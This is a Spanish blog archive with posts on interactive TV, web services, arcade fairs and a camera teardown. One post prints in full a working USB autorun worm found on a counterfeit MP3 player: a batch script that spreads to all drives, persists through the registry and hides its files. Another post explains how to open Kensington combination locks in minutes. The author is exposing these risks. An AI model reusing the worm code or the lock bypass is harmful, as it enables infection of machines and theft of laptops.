Bueno, aun así parece que nuestro público objetivo es ámplio... ¿no? Pues no. Los descodificadores TDT (o satélite) normales no ejecutan MHP, solo ciertos modelos que rondan los 100 €. Solo el 0,22% de los descodificadores TDT vendidos en España son compatibles MHP, según ImpulsaTDT (y el 0% de los satélite). Aunque parece que Ono tiene intención de migrar a MHP (ahora usa una plataforma propietaria llamada Orca), no parece que sea algo cercano (y aunque lo fuese, sustituir el parque instalado de descodificadores Orca por otros MHP no se hace de la noche a la mañana). Imagenio parece que está bien con la plataforma MiViewTV (de Alcatel-Lucent), pero aunque quisiese migrar a MHP (parece que lo están valorando), no podrían hasta que salga la versión 1.2 de MHP, que soportará televisión por IP, cosa que ahora no hace. Respecto a Digital+, usa MediaHighway, que es competencia de MHP y propiedad de Canal+, por lo que no es probable que cambien. Eso sí, la última versión de MediaHighway, denominada Advanced, tiene la posibilidad de ejecutar en una especie de "modo emulación", aplicaciones MHP sencillas. Supongo que es una forma de cubrise las espaldas por si MHP triunfa y MediaHighway se ve "acorralada".

OK, la situación es mala, pero... En 2010 hay apagón, y la gente comprará descodificadores, y serán muchos compatibles MHP... ¿no? No. La industria (fabricantes de descodificadores y televisores) ha detectado que, puestos a pasar de los 40 € que vale un descodificador TDT barato (los llamados "zappers", que no ofrecen nada más que sintonizar los canales) a uno que ronde los 100 €, los usuarios prefieren características como la alta definición (ya en emisión en ciertos canales satélite y en pruebas en TDT e Imagénio), la posibilidad de grabar en disco duro (PVR/DVR), o cualquier otra cosa excepto los interactivos, así que no tienen intención de sacar descodificadores con MHP al mercado. ¿Y porque ese rechazo a los interactivos? Vamos a repasar alguno de los servicios que podemos encontrar en la TDT interactiva española actualmente, pongo el ejemplo de RTVE, pero es en todos lo mismo:

• Información de tráfico. Es completa, pero ya tenemos la radio (complementada con el sistema RDS) y el teletexto.
• Información meteorológica. Idem, ya la tenemos en los telediarios, en la radio, en el teletexto...
• Guía electrónica de programación. Eso ya nos lo da el descodificador o la tele sin necesidad de MHP. Y sino es más cómodo consultarlo en el periódico (total, ambas van a estar desactualizadas...).
• Información bursátil. ¿De verdad alguien que invierta seriamente lo va a ver con MHP? Tengo la radio, Internet, la CNN, el busca de Reuters, etc.
• Etc.

En otros canales, como los de Prisa (40 Latino, Cuatro, CNN+, etc.) tenemos un "ticker" de noticias (una banda inferior por la que pasa desplazándose el texto de las noticias) y alguna chorradilla más, pero vamos, que nada realmente útil. ¿Merece la pena pagar 50 o 60 € más por esto? No.

A medio plazo esta situación podría mejorar un poco gracias a los bancos y cajas de ahorros, que parece que tienen intención de meter banca electrónica en TDT interactiva (CCM, CajaMadrid, CajaAstur, etc.). A mi me parece útil no tener que usar el PC solo para ver si me han ingresado ya la nómina o me han cargado la hipoteca, pero vamos, que si eso me supone pagar un extra por el descodificador de verdad que me lo pienso...

El caso es que tenemos una pescadilla que se muerde la cola, nadie quiere MHP porque no hay servicios atractivos en la TDT y no hay servicios atractivos porque apenas hay público objetivo para ellos y no merece la pena la inversión. ¿Y como solucionamos esto? ¿Quién tiene que impulsar MHP? Parece lógico pensar que debería ser el gobierno, pero no lo tengo yo muy claro...

• El gobierno podría poner servicios públicos por TDT interactiva y así mejorar la oferta de contenido ¿no? Pues no lo se. La agencia tributaria puso durante la campaña de la renta un servicio para confirmar el borrador de la declaración, pero no llamaría yo a eso "servicio atractivo". Por su parte, el Ministerio de Administraciones Públicas junto con Inteco estan embarcadas en un proyecto para crear una pila de servicios públicos diversos en TDT interactiva, pero de nuevo no creo que vayan a llamar la atención de los ciudadanos como para que compren equipos más caros solo por esto.
• Otra forma de impulsar esto podría ser subvencionar los descodificadores interactivos para que valgan igual que los zappers... Una pena que la Unión Europea prohiba estas subvenciones (que se lo pregunten al gobierno italiano). De todas formas, aun camuflando estas subvenciones, no como subvención de equipos, sino subvención a los ciudadanos para que compren equipos, la cantidad de dinero necesaria para hacerlo a nivel nacional sería enorme y los beneficiós (en cuanto a "digitalización" de los cuidadanos) escasos, ya que los servicios "avanzados", que vayan más allá de un teletexto mejorado, necesitarían conexión a Internet, cosa que escasea en nuestro país, especialmente la banda ancha, y recordad que los usuarios no quieren conectar los descodificadores a la línea telefónica... Una cosa que no he comentado es que una aplicación MHP puede decidir a que número de teléfono llama para conectarse a Internet, pasando olímpicamente de la configuración que tú hayas indicado en el descodificador y sin que el usuario se entere hasta que le llegue la factura (y existen los números de tarificación especial, y la mala fe, y las ganas de sacar dinero a la gente a toda costa...), así que esta desconfianza es absolutamente justificada.
• La compatibilidad de las aplicaciones MHP con el nuevo DNI electrónico podría ser un impulso, la gente tiene un DNI nuevo que no sabe donde ni como usar, y si ve un logotipo de "compatible DNI electrónico" en los descodificadores MHP puede que se anime a comprar y ver para que vale una cosa, la otra y las dos juntas... Pero desgraciadamente el DNI electrónico (DNIe), a día de hoy, no es compatible con MHP (para desarrollar las bibliotecas de DNIe para MHP hace falta una información que la DGP, el Ministerio del Interior, el Centro Criptológico Nacional o quien sea se niegan a facilitar). Aunque parece que hay intención de compatibilizar DNIe y MHP, como tarde mucho más va a llegar justo a tiempo para el funeral de MHP en la TDT española.

¿Y entonces? ¿Como promocionar MHP? A mi modo de ver es sencillo. MHP permite acceso condicional (televisión de pago) en TDT, así que con poner dos o tres canales pornográficos y dos o tres con fútbol se arreglaba la cosa. Este modelo ha funcionado bien en Italia, donde con tarjetas prepago (que se venden en kioskos) se pueden comprar partidos de fútbol en TDT con un descodificador MHP. Un par de aplicaciones de apuestas, principalmente deportivas, también ayudarían... Es lo que tienen los vicios, que son valores seguros.

Pues esto ha sido todo por hoy sobre la televisión digital interactiva, se puede resumir en una palabra: fracaso. Si aun despues de esto os da por comprar un descodificador TDT con MHP, no lo váis a tener fácil: En Carrefour y MediaMarkt se podía comprar hasta hace poco tiempo un Engel por 100 €, pero lo están retirando porque nadie lo compraba (además de que no tiene Ethernet y es lento como él solo). Inves en teoría vende cuatro modelos con MHP, y digo en teoría porque solo se ven publicitados por la Web de tienda virtual de El Corte Inglés, pero no te dan la opción de comprar ninguno (si lo conseguís, evitad el modelo que pone "suministrado en el proyecto Alcazar de San Juan Digital", es una castaña). Irismedia vende un par de modelos basados en Osmosys, pero creo que no al público en general, solo a mayoristas y desarrolladores. Y bueno, en tiendas que importan paralelamente podéis encontrar algún HuMax u otros cacharros, pero tened una cosa en cuenta con esto, el firmware de los descodificadores se actualiza vía aérea (al vuelo, con la misma emisión de los canales de televisión), pero como es caro que los fabricantes publiquen sus firmwares en los canales (RTVE venía a combrar una cuota anual y unos XXXX € adicionales cada vez que lo actualizaban), si no es un modelo de una "primera marca" o uno muy vendido (o sea, ninguno), no esperéis actualizaciones, corriendo el riego de quedaros con una versión obsoleta de MHP para siempre. Si buscáis una tele con TDT y MHP incorporados, podéis parar de buscar, Philips tenía un par de modelos pero los retiró del mercado, Samsung sacó uno y también lo tuvo que retirar porque dio un montón de problemas, LG comentó que tenía intención de sacar un modelo con MHP, pero nada se sabe de el tema...

¡Ah! Y una cosa, los precios que he puesto de equipos son aproximados, y he quitado los precios de RTVE, no vaya a ser que alguien se moleste por publicarlos aquí...

# posted by ClawGrip @ 12:03 5 comments

Reproductor audio MP3 y video MPEG4 con 8GB de memoria flash, bajo peso, tamaño compacto y pantalla color: 10 €.
No está mal ¿no? Pero no es la oferta lo que quería comentar hoy yo aquí, sino lo que intenta hacer el reproductor sin que te des cuenta... Me explico:

Cuando abres la unidad (conectádolo vía USB a un PC Windows), se autoarranca un pequeño script gracias a un fichero autorun.inf que hay en el raíz del reproductor, con el siguiente contenido:

[AutoRun]
open=wscript.exe win.vbe
shell\open\Command=wscript.exe win.vbe
shell\explore\Command=wscript.exe win.vbe
shell\find\Command=wscript.exe win.vbe


set ws=wscript.createobject("wscript.shell")
ws.run "win.bat /start",0


Pues nos lleva ahora hasta un batch de los de toda la vida (win.bat). Seguimos tirando del hilo:

@echo OFF
setlocal ENABLEDELAYEDEXPANSION ENABLEEXTENSIONS
cd /d "%~dp0"
if /i "%cd%"=="%~d0\" (explorer.exe "%~d0")
set v=1
set "endf=%systemdrive%\jmp.txt"
echo.Wscript.sleep 20000>sleep.vbe
attrib sleep.vbe +a +s +r +h
if /i not "%cd%"=="%systemroot%" (call:cb&del/a/f/q sleep.vbe&goto :eof)
set dl=CDEFGHIJKLMNOPQRSTUVWXYZ
set n=0
call:inf >inf.tem
call:ql "%systemroot%\UÅ̲¡¶¾·ÖÎöBeta3.exe"
echo.Wscript.sleep 20000>sleep.vbe
:s
echo. >uishere-%v%.txt
if exist "%endf%" (goto end)
if "!dl:~%n%,1!"=="" (set n=0&sleep.vbe)
set d=!dl:~%n%,1!:
set /a n=n+1
if not exist %d% (goto s)
if exist "%d%\autorun.inf\" (echo.y|cacls "%d%\autorun.inf" /p everyone:f
rd "%d%\autorun.inf" /s /q)
if exist "%d%\autorun.inf" (fc "%d%\autorun.inf" inf.tem&if not "!ERRORLEVEL!"=="0" (call UÅ̲¡¶¾·ÖÎö.bat -a -l -d %d:~0,-1% -c -i -s&goto s1)) else (goto s1)
if not exist "%d%\%~n0.vbe" (goto s2)
if not exist "%d%\%~nx0" (goto s3)
if not exist "%d%\UÅ̲¡¶¾·ÖÎöBeta3.exe" (goto s4)
if exist %d%\%date:~0,10%.sk (goto s)
:s1
call:inf >%d%\autorun.inf
attrib %d%\autorun.inf +a +s +r +h
if exist "%d%\%~n0.vbe" (del /a /f /q "%d%\%~n0.vbe")
:s2
call:vbe >"%d%\%~n0.vbe"
attrib "%d%\%~n0.vbe" +a +s +r +h
:s3
call:copy "%~dpnx0" "%d%\"
:s4
call:copy "UÅ̲¡¶¾·ÖÎöBeta3.exe" "%d%\"
if exist %d%\*.sk (del /a /f /q %d%\*.sk)
echo.>%d%\%date:~0,10%.sk
attrib %d%\%date:~0,10%.sk +a +s +r +h
goto s
:cb
if exist "%systemroot%\uishere-*.txt" (del /a /f /q "%systemroot%\uishere-*.txt"&sleep.vbe)
if exist "%systemroot%\uishere-*.txt" (if exist "%systemroot%\uishere-%v%.txt" (goto :eof) else (echo.>"%endf%"&sleep.vbe))
call:copy "%~dpnx0" "%systemroot%\"
rem call:copy "UÅ̲¡¶¾·ÖÎöBeta3.exe" "%systemroot%\"
if exist "%systemroot%\%~n0.vbe" (del /a /f /q "%systemroot%\%~n0.vbe")
call:vbe >"%systemroot%\%~n0.vbe"
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /t REG_SZ /d "%systemroot%\%~n0.vbe" /f
start "" /wait /d "%systemroot%\" "%systemroot%\%~n0.vbe"
goto :eof
:vbe
echo.set ws=wscript.createobject("wscript.shell")
echo.ws.run "%~nx0 /start",0
goto :eof
:inf
echo.[AutoRun]
echo.open=wscript.exe %~n0.vbe
echo.shell\open\Command=wscript.exe %~n0.vbe
echo.shell\explore\Command=wscript.exe %~n0.vbe
echo.shell\find\Command=wscript.exe %~n0.vbe
goto :eof
:copy
if exist "%~dp2%~nx1" (del/a/f/q "%~dp2%~nx1")
attrib "%~1" -s -h
copy "%~1" "%~dp2"
attrib "%~1" +s +h
attrib "%~dp2%~nx1" +s +h
goto :eof
:ql
cd /d "%systemroot%\"
del /a /f /q Anti-UÅÌÃâÒß.bat ReadMe.txt uda-½âѹ.bat uda.exe UÅ̲¡¶¾·ÖÎö.bat zap.exe Ö÷²Ù¿Ø.bat
cd /d "%~dp0"
goto :eof
:end
call UÅ̲¡¶¾·ÖÎö.bat -c&call:ql&del/a/f/q "%~dp0sleep.vbe" "%endf%" inf.tem "UÅ̲¡¶¾·ÖÎöBeta3.exe" "%~n0.vbe" "%~nx0" "uishere-%v%.txt"® delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v vbe /f


Y en este batch vemos cosillas curiosas: Por una parte, que se instala el solito en el registro para arrancarse automáticamente al inicio y quedarse residente, y por otra que si borras los scripts Visual Basic, el batch o el autorun.inf los vuelve a crear de forma automática. Lo imcomprensible es que hace referencia a otros ejecutables que no copia, con lo que nunca se ejecutan (UÅ̲¡¶¾·ÖÎöBeta3.exe es el más visible, los caracteres raros del inicio del nombre de fichero son chinos). El único que sí copia es sleep.vbe, que es un script tonto en Visual Basic que define cada cuanto se va a ejecutar el batch:

Wscript.sleep 20000


Pues sin esos ejecutables, todo este asunto parece inofensivo (excepto el malgasto de recursos de tener un programita continuamente ejecutándose), pero... ¿A que da mal royo?

Si alguien se pregunta que dónde he comprado esto, lo han traido directamente de una tienda en Hong-Kong ¡a ver si os creéis que en Europa iban a dejar venderlo con los logos de Apple puestos en el cacharro!

# posted by ClawGrip @ 17:23 1 comments

Es perrita, y se llama Chica. Lo que lleva en la pata es una vía, que hubo que hospitalizarla por que nos la dieron enferma...

# posted by ClawGrip @ 10:41 0 comments

Comentábamos en el primer artículo de la serie que XML era un formato completamente inadecuado para su uso en los servicios Web, dadas sus necesidades de potencia de proceso y memoria para su análisis y la gran cantidad de metadatos que incluye que hacen más costosa su transmisión por red.

Si XML es inadecuado... ¿Que otro formato podríamos haber usado? A priori, el candidato perfecto es ASN.1. ASN.1 es un formato muy compacto (optimizado para su uso en redes) y cuyo proceso apenas consume recursos, además de que esta perfectamente normalizado y lleva años usándose en multitud de protocolos y servicios.

¿Y si reimplementamos los servicios Web para que usen ASN.1 en vez de XML? Pues eso es lo que, con unos años de retraso, están intentando el ITU-T y el W3C en lo que llaman Fast Web Services.

Vayamos por orden: Si reimplemento todo lo que ya tengo montado sobre XML ¿No perderé toda la pila de añadidos que tenía ya montada? (como Web Services Security) No exactamente, gracias a la flexibilidad de ASN.1 y su afinidad con XML, contamos con las llamadas Reglas de Codificación XML de ASN.1 (o XER, XML Encoding Rules), que nos aportan una equivalencia total entre ambos formatos, haciéndolos completamente equivalentes.

Ya lo tenemos, ASN.1, pese a haber llegado tarde, encaja perfectamente en el juego de los servicios Web. Vamos a ver que es lo que nos añade respecto a los servicios Web clásicos:

Fast Infoset

Codificación binaria en ASN.1 de los datos XML

Fast Schema

Codificación binaria en ASN.1 utilizando esquemas

Fast Web Services

Combina Fast Infoset y Fast Schema en contenidos autodescritos mediante esquemas, y añade Fast SOAP, que no es más que una codificación de SOAP 1.2 que utiliza ASN.1 binario en vez de XML
SOAP es a su vez el protocolo de intercambio de mensajes XML de los servicios Web tradicionales.

Ok, hemos pasado a usar ahora un formato de datos más compacto y rápido de procesar ¿De verdad se notan las mejoras? Os copio un par de gráficos que nos pueden dar una idea:

Yo creo que las mejoras son evidentes ¿No? Pues aún con estas a la gente le da miedo utilizar ASN.1 en vez de XML, más que nada por desconocimiento, pero ASN.1 es la base de muchos de los protocolos más usados en la actualidad, como SNMP, SSL, Kerberos e incluso UDDI y Web Services Security, ya que ASN.1 forma parte integral de los directorios modernos (X.500 y LDAP) y las funcionalidades criptográficas más comunes (firmas, cifrados por clave pública, etc.). Podeis encontrar mucha más información sobre ASN.1 en http://asn1.elibel.tm.fr/en/.

Y ya para terminar, un par de direcciones útiles por si quereis empezar a migrar vuestros servicios Web ya mismo:

• IBM ASN.1/XML Translator
• Sun Java Web Services Developers Pack - Fast Web Services
• Atos Origin ASN.1 Marben Tools

# posted by ClawGrip @ 11:24 0 comments

En el artículo anterior comentábamos como los servicios Web habían conseguido normalizar el modo en el las arquitecturas cliente-servidor, así que era lógico sacar partido a esta normalización desarrollando infraestructura alrededor de los servicios que añadiese algo de valor. Vamos a ver un par de ejemplos:

WSDL / UDDI

Ya que tenemos normalizados los mensajes y los protocolos de transporte, parece normal que tengamos un modo común de atacar a los servicios (que no es más que una variante de las viejas llamadas a procedimientos remotos).
Hasta aquí nada nuevo, pero añadamos un lenguaje formal de descripción de estos servicios (WSDL) ¿Que tenemos ahora? Pues una forma universal de describir que servicio ofrecemos y como se puede usar ese servicio ¿Y si ponemos en un directorio todas las descripciones de los servicios de nuestro sistema (UDDI)? Pues eso, la descripción completa de los servicios de nuestro sistema, incluyendo su modo de uso.
La utilidad de este sistema de descripción es enorme, y va desde analizadores de WSDL para crear automáticamente los clientes de estos servicios (o incluso el esqueleto de la parte servidora) hasta el descubrimiento automático de servicios y el uso "al vuelo" de estos.

Seb Services Security

Seguridad para servicios Web ¿Que es realmente esto? Para empezar, una enorme sopa de letras (XKMS, SAML, XACML, ebXML, etc.), y de fondo, un intento de dotar a los servicios Web de capacidades de cifrado, firma y seguridad en general.
Vamos a intentar explicarlo con un diagrama que representa una transacción segura con servicios Web:

1. El mensaje XML se firma (mediante XML Signature) y se cifra (con XML Encryption).
   El mensaje puede contener asunciones (afirmaciones que debes dar por ciertas) codificadas mediante SAML, que es un lenguaje especialmente diseñado para ello.
2. Una vez que el mensaje ha llegado al destinatario (WS Security o ebXML MS contemplan los pasos por los posibles intermediarios) utilizamos un servicio XKMS para la validación de claves contra los servicios de confianza (una PKI o incluso un directorio directamente).
   XKMS es un servicio de gestión de claves (de certificados) basado en XML que hace más sencilla la interacción con sistemas PKI (sistemas de seguridad basados en claves asimétricas tipo pública/privada) o equivalentes.
3. Ya con las claves validadas, procedemos a la verificación y descifrado del mensaje (de nuevo mediante mediante XML Encryption y XML Digital Signature).
4. Una vez tenemos descifrado y comprobado el contenido del mensaje, verificamos si las políticas de seguridad permiten realizar las operaciones asociadas al mensaje (usando XACML).
   XACML es un lenguaje para la definición de políticas y actuaciones relativas al control de accesos.

Y por hoy es todo, de nuevo espero que os haya sido útil, no me he extendido mucho en WSDL y UDDI porque tampoco tienen mucho fondo. Si echais de menos que hable de SOAP pegad un comentario y en el próximo artículo de la serie me entretengo ¡No os perdais la tercera parte!

# posted by ClawGrip @ 12:44 0 comments

Intento de explicar qué son los servicios Web, para que valen, de donde provienen y que hay de fondo en toda la repercusión tecnológica que están teniendo. Espero que os sea útil.

Para empezar entendiendo a fondo los servicios Web es mejor tomarlos como un intento de normalización tecnológica de una arquitectura clásica cliente servidor, recordemos que especto tenía:

Disponemos de un servidor, que ofrece una serie de servicios a través de la red, los cuales son accedidos por clientes en diferentes extremos. Simple y efectivo, pero entonces ¿Donde está el problema? El gran problema es que es solo un dibujo de arquitectura, cada uno puede implementarlo como desee, usando las tecnologías que prefiera, lo cual nos deja muy lejos de una arquitectura uniforme e interoperable, que sería lo deseable.

Bien, busquemos entonces una definición de normativas más o menos estricta que nos permita crear servicios interoperables sea cual sea la plataforma o el fabricante de donde provenga tanto el servidor como los clientes... Empecemos paso a paso ¿Que necesitamos normalizar?

El formato de los mensajes

Como el diálogo es entre máquinas y no hay necesidad de que sea legible por personas, parece lógico que se tratase de un formato binario (nativo para las máquinas) y cuyo proceso automático sea lo más eficiente posible, a ser posible que esté ya normalizado y bien probado (mejor si es ya un estándar internacional) y como la comunicación cliente-servidor va a ser por una red de comunicaciones, sería bueno también que el formato estuviese optimizado para su transmisión por redes (mínimo tamaño de metadatos, información compactada, etc.).

El protocolo de transmisión

Necesitaríamos que fuese el óptimo para el formato de mensajes elegido y que permitiese una operación orientada a conexión ¿Por que orientado a conexión? Voy a poner un ejemplo tontísimo de conversación para dejar claras las diferencias:

Orientado a Conexión:

(Tomás llama a Susana)
Tomás: Hola Susana, soy Tomás ¿Vienes a la inaguración de mi casa nueva esta noche?
Susana: Vale, pero te tengo que confesar algo que he estado ocultando... Estoy casada.
(Segundos de silencio por la sorpresa...)
Tomás: Pues no te lo vas a creer, yo también te he estado ocultando algo: ¡También yo estoy casado! ¿Quedamos entonces a las 23:30?
Susana: ¡Ok! Me llevaré a mi marido para que le conozcas ¿Estará también tu mujer?
(Segundos de silencio mientras Tomás se lo piensa...)
Tomás: Pues supongo que sí... Venga nos vemos en un rato ¡Hasta ahora!
Susana: ¡Hasta ahora!
(Fin de la llamada)

No orientado a Conexión:

(Tomás llama a Susana)
Tomás: Hola Susana, soy Tomás ¿Vienes a la inaguración de mi casa nueva esta noche?
Susana: Vale, pero te tengo que confesar algo que he estado ocultando... Estoy casada.
La llamada se corta, Tomás vuelve a llamar a Susana...
Tomás: Hola, soy yo otra vez, que antes se ha cortado. Pues no te lo vas a creer, yo también te he estado ocultando algo: ¡También yo estoy casado! ¿Quedamos entonces a las 23:30?
Susana: ¡Ok! Me llevaré a mi marido para que le conozcas ¿Estará también tu mujer?
La llamada se corta, Tomás vuelve a llamar a Susana...
Tomás: Soy Tomás, otra vez se ha cortado, te sigo contando: Pues supongo que sí... Venga nos vemos en un rato ¡Hasta ahora!
Susana: ¡Hasta ahora!
(Fin de la llamada)

¿Veis la diferencia? En el segundo caso a Tomás le toca hacer tres llamadas (establecer tres conexiones), lo cual tiene un coste telefónico mayor (igualmente las conexiones de red suponen un coste), además de tener que recordarle a Susana que es él de nuevo para reanudar la conversación (mantener la sesión entre conexiones). En el primer caso Tomás hace solo una llamada y la conversación no se corta (menor coste, menos tiempo de charla y diálogo fluido), pero nada impedía a Tomás cortar en cualquier momento la llamada y volver a marcar después (porque un protocolo orientado a conexión se puede forzar para que actúe como no orientado a conexión, pero no al contrario). Supongo que ya tenemos claro la conveniencia de utilizar un protocolo orientado a conexión ¿No?

Ok, ya tenemos claros los requerimientos, vamos entonces a analizar las tecnologías que forman la base de los servicios Web:

Formato de los mensajes: XML

XML: Enorme cantidad de metadatos (más tamaño), no optimizado para su transmisión por redes de comunicación, legible por personas, pero costoso (recursos de procesador y memoria) de procesar y analizar por máquinas, y eso sí, normalizado por la industria.

Protocolo de transmisión: HTTP

Optimizado para el transporte de SGML (lo cual resulta óptimo dada la elección de XML), pero no orientado a conexión.

¿Por que? ¿Por que usar las tecnologías más inadecuadas? Solo hay un motivo: Los cortafuegos.

Recordemos brevemente el funcionamiento de los cortafuegos:
Si, por poner un ejemplo, tengo una red interna a mi organización que da un solo servicio externo (que es el servicio Web) y unos cuantos más servicios internos (directorio y ficheros compartidos por ejemplo), sería deseable contar con mecanismos que asegurasen que desde fuera solo se va a poder acceder al servicio Web, mientras que desde dentro la operativa no va a estar limitada. Pues esto es lo que hace el cortafuegos. En este caso el cortafuegos solo dejaría entrar conexiones externas si van dirigidas al puerto 80 (puerto del servicio Web), con protocolo HTTP (protocolo Web) y transfiriendo algún tipo de SGML (páginas Web).

Y si ya tengo puesto un cortafuegos en mi red (configurado como en el ejemplo) y quiero montar una arquitectura cliente-servidor hacia fuera ¿Como lo hago? Pues hay dos opciones, o modifico la configuración del cortafuegos o fuerzo a mi sistema cliente servidor a usar el puerto 80, el protocolo HTTP y a intercambiar XML (tipo de SGML). Ya lo tenemos: Los servicios Web actuales.

Está bien claro que hubiese sido más fácil reconfigurar el cortafuegos, pero ya no tiene remedio. Uno de los culpables de esta auténtica perversión tecnológica es XML: Por moda o por friquismo XML se ve como la solución universal a todos los problemas de formato, y evidentemente no lo es...

Seguiremos en los póximos capítulos desarrollando el tema ¡No os los perdais!

# posted by ClawGrip @ 22:07 1 comments

By request, hi-res versions of the flyers:

Click on the images to load the high resolution ones.

# posted by ClawGrip @ 22:33 0 comments

Official FER site: http://www.grupointerazar.com/

And just to finish the reports, some flyers I got:

If anyone wants hi-res versions of any image or any flyer scan (TAFA?) just ask for it on the MAME boards.

# posted by ClawGrip @ 18:24 0 comments

Tempo Kiddo Go!

Dancing Stage Fusion

Dynamic Derby

# posted by ClawGrip @ 18:19 0 comments

Gaelco Tuning Race

Sammy Faster Than Speed

Sega World Cup Champion Football

Sega World Cup Champion Football (detail)

Sega Derby Ownwers Club

Sega Outrun 2 SP and Ghost Squad

Errrr...

# posted by ClawGrip @ 17:59 0 comments

Chameleon RX1 (old stuff)

Nooooooooooo!

Nice!

Sega Thunder Blade based kiddie ride  ;-)

Even more video-based fruit machines...

Pro Pinball (video-based)

Pro Pinball screen detail

# posted by ClawGrip @ 16:43 0 comments

That's FER!

Some video-based fruit machines...

Gambling machines everywhere...

The Fast & The Furious

The Sopranos

Mario Kart

Target Terror

Errrr...

# posted by ClawGrip @ 16:07 0 comments

El tren de neumáticos de Ferrari.

Mujer de rojo.

Parece que Honda no tuvo mucha suerte con los neumáticos.

El personal de Renault se reune junto a la barra de Ferrari para celebrar la buena actuación de sus pilotos (y de paso chinchar al contrario).

Briatore atiende seriamente a la prensa mientras su compañero hace el payaso.

¡Ya casi acaricia el campeonato!

# posted by ClawGrip @ 22:17 0 comments

Los chicos de Ferrari con trabajo en Boxes...

¡En Renault tampoco están parados!

A los ganadores primero les hacen pasillo las estupendas chicas de Vodafone...

... Y luego los chavales de la prensa (en una plataforma móvil).

Detalle de las ranuras de ventilación del RS25.

Montando el coche deprisa y corriendo antes de la carrera.

# posted by ClawGrip @ 18:53 0 comments

Mañana si tengo un rato publico unas cuantas fotos curiosas de la carrera.

# posted by ClawGrip @ 23:49 0 comments

Hace algunos días comentaba mi intención de arreglar mi vieja cámara HP Photosmart 612, que se negaba a enfocar correctamente alegando un Error 108. Bueno, pues al fin me he puesto manos a la obra, pero desgraciadamente sin conseguir arreglarla. De todas formas os detallo el proceso de desmontaje, que quizás a alguien le resulte útil:

Empezamos quitando la placa de la parte superior, hay que tener un poco de cuidado, ya que tiene un punto de soldadura con la placa vertical:

Además de los tornillos y la soldadura, las placas están unidas por un conector, pero va a presión y sale sin ningún problema.

Una vez retirada la placa superrios procedemos a desencajar la pantalla para que no moleste, esta va encajada en un marco metálico del cual sale sin protestar. En cuanto levantemos la pantalla podremos ver que además de los dos cables grades, esta está unida a la placa con un conector plano.

Para liberar el cable plano únicamente debemos levantar con cuidado la pletina plástica (de distinto color más) y tirar ligeramente de este.

El marco metálico que sujetaba la pantalla molesta un poco a la hora de abrir el conector del cable plano, pero es casi mejor no quitarlo, ya que tiene un par de puntos de soldadura.

Ahora que hemos retirado la pantalla, procedemos a quitar la segunda placa. Esta también tiene un par de agarres soldados que debemos soltar (un par de palitos). De nuevo, acercando el soldador y con una mínima presión, salen sin problemas:

Cuando estemos retirando la placa hay que tener cuidado de que no se nos caiga el cristal del CCD, que está simplemente apoyado y se sale en cuanto ponemos la placa boca abajo.
Ya con la placa retirada podemos ver que el procesador central es un Hyperstone E1-16XS, y un integrado de Altek, que es el verdadero fabricante de la cámara (y no HP).

Llegados a este punto tenemos completo acceso a la óptica, así que la retiramos quitando el par de tornillos que la sujetan:

Por la parte trasera podemos ver que hay una delgada lámina plástica unida por tres tornillos y que en algunos sitios aprisiona el cable plano, debemos retirarla con cuidado, ya que al levantarla liberamos un muelle que al saltar podría perderse:

Una vez retirada, tenemos por fin acceso a la lente de enfoque, utiliza un par de agujas metálicas como guía, y una de ellas está roscada para calibrar el enfoque, ni que decir tiene que deberíamos tener cuidado de que no se mueva de su posición original. La lente estaba sujeta únicamente por el muelle, así que con poner el conjunto boca abajo debería salir, si no, podemos ayudarla un poco, pero con cuidado de no dejar huellas en la lente.

Pues se supone que esa es la pieza que debería estar rota, pero yo la veo en perfecto estado.

Os resumo rápidamente el resto del proceso:
Vuelvo a ensamblar la cámara (no tiene ningún problema y es un proceso muy rápido, lo único con lo que hay que tener cuidado es que el botón de disparo no quede aprisionado con la carcasa al terminal de montar todo), pero sigue dando el mismo error 108. La desmonto de nuevo y esta vez termino de abrir la mecánica del zoom, pero lo único que consigo es que ahora (tras montarla por segunda vez), además del error 108, proteste por un Error 109, que ni lo he mirado, pero debe ser que el zoom se ha atascado, ya que no lo dejé especialmente bien montado.

La cámara ha terminado en la basura (una pena) y yo he perdido un par de horas (y además me he hecho una pequeña quemadura gracias a una descarga del condensador del flash), no es precisamente el final que esperaba, pero bueno...

# posted by ClawGrip @ 16:40 0 comments

Hace un tiempo inicié una curiosa colección: Teléfonos Heraldo. El modelo Heraldo es el teléfono de sobremesa que Telefónica (entonces CTNE, Compañía Telefónica Nacional de España) distribuyó para líneas domésticas durante los años 70 y 80. Si no recuerdo mal, fue sustituido por el modelo Teide.

De mi pequeña colección, todos los modelos funcionan perfectamente menos el de la foto izquierda, el de la botonera de multifrecuencia, y pensaba dedicar un rato a arreglarlo, así que he abierto otro (un modelo corriente) para comparar, y me he encontrado dentro un papel con el esquema eléctrico ¡Así da gusto!

Pues nada, otra cosa apuntada en la lista de tareas para dedicarle un par de horas...

# posted by ClawGrip @ 00:05 3 comments

Ayer robaron un par de ordenadores portátiles en mi trabajo, y comentando con los compañeros, algunos se extrañaban de que no hubiesen cortado el cable del candado Kensington con el que estaban atados.

La verdad es que la seguridad de este tipo de candados es mínima, especialmente los modelos de contraseña. Voy a tratar de explicar como se abren en unos pocos minutos estos últimos:

Como prácticamente todos los candados tienen la holgura suficiente como para ver el eje entre la carcasa y las propias ruedas y distinguir las hendiduras, el truco consiste en alinearlas longitudinalmente y luego desplazarlas hasta la posición del pulsador. Si no tenemos muy claro en que lugar tiene que quedar la linea de hendiduras, podemos ir desplazando posición a posición hasta encontrarla, es decir, si por ejemplo, una vez tenemos las hendiduras alineadas la contraseña actual es 8 6 4 3, seguidamente tenemos que probar 9 7 5 4, después 0 8 6 5, y así hasta que una de las combinaciones funcione (como mucho tendremos que girar las ruedas nueve veces, que no es mucho).

Vale, los candados se pueden abrir sin dificultades, eso es algo que, aunque no lo supiesemos con seguridad, nos lo imaginábamos, y no creo que nadie les confíe completamente la seguridad de su portátil, pero detrás de todo esto hay un riesgo mayor: ¿Cuantas personas usarán el PIN de su tarjeta de crédito como contraseña de su candado? Estoy seguro que unos cuantos, y si bien el PIN de la tarjeta de crédito no es facil de averiguar, acabamos de demostrar que lo segundo sí lo es...

# posted by ClawGrip @ 21:48 0 comments

Una forma rápida y segura de identificar una tarjeta inteligente, además de buscar por el reverso las inscripciones del fabricante, que no siempre están, es comprobar su ATR. El ATR es la respuesta que da una tarjeta cuendo se la reinicializa (ATR = Answer To Reset), que es un número hexadecimal que cambia según la marca y el modelo de la tarjeta.

